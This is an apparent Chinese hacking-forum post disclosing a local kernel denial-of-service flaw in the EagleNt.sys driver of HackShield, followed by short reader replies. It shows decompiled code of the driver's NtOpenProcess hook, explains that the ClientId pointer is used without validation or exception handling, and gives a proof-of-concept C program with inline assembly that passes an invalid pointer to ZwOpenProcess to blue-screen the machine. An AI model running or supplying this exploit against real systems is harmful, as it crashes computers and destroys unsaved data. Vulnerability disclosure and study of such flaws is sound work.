HackShield EagleNt.sys 本地内核拒绝服务漏洞
HackShield EagleNt.sys本地内核拒绝服务漏洞影响范围:HackShield
漏洞细节:
v26 = (int)ClientId;
InterlockedIncrement(&dword_29D10);
if ( !v26 )
goto LABEL_14;
......
xxxx(......*(_DWORD *)v26,......)
EagleNt.sys在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常
虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_IDClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..
测试代码:
int main(int argc, char* argv[])
{
printf("HS 0dayBy 单行\n");
printf("请保存好你的数据,按下回车键后激活0day\n");
getchar();
GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess");
__asm
{
push 1//ClientId地址
push 0
push 0
push 0
call eax
}
return 0 ;
}
以上代码运行在有HackShield驱动的机器上就可以触发蓝屏
这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....
各位大大们别喷我,我只是个菜鸟
感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞 哇,内核级滴喔,看看 太深奥了..!!!不懂
页:
[1]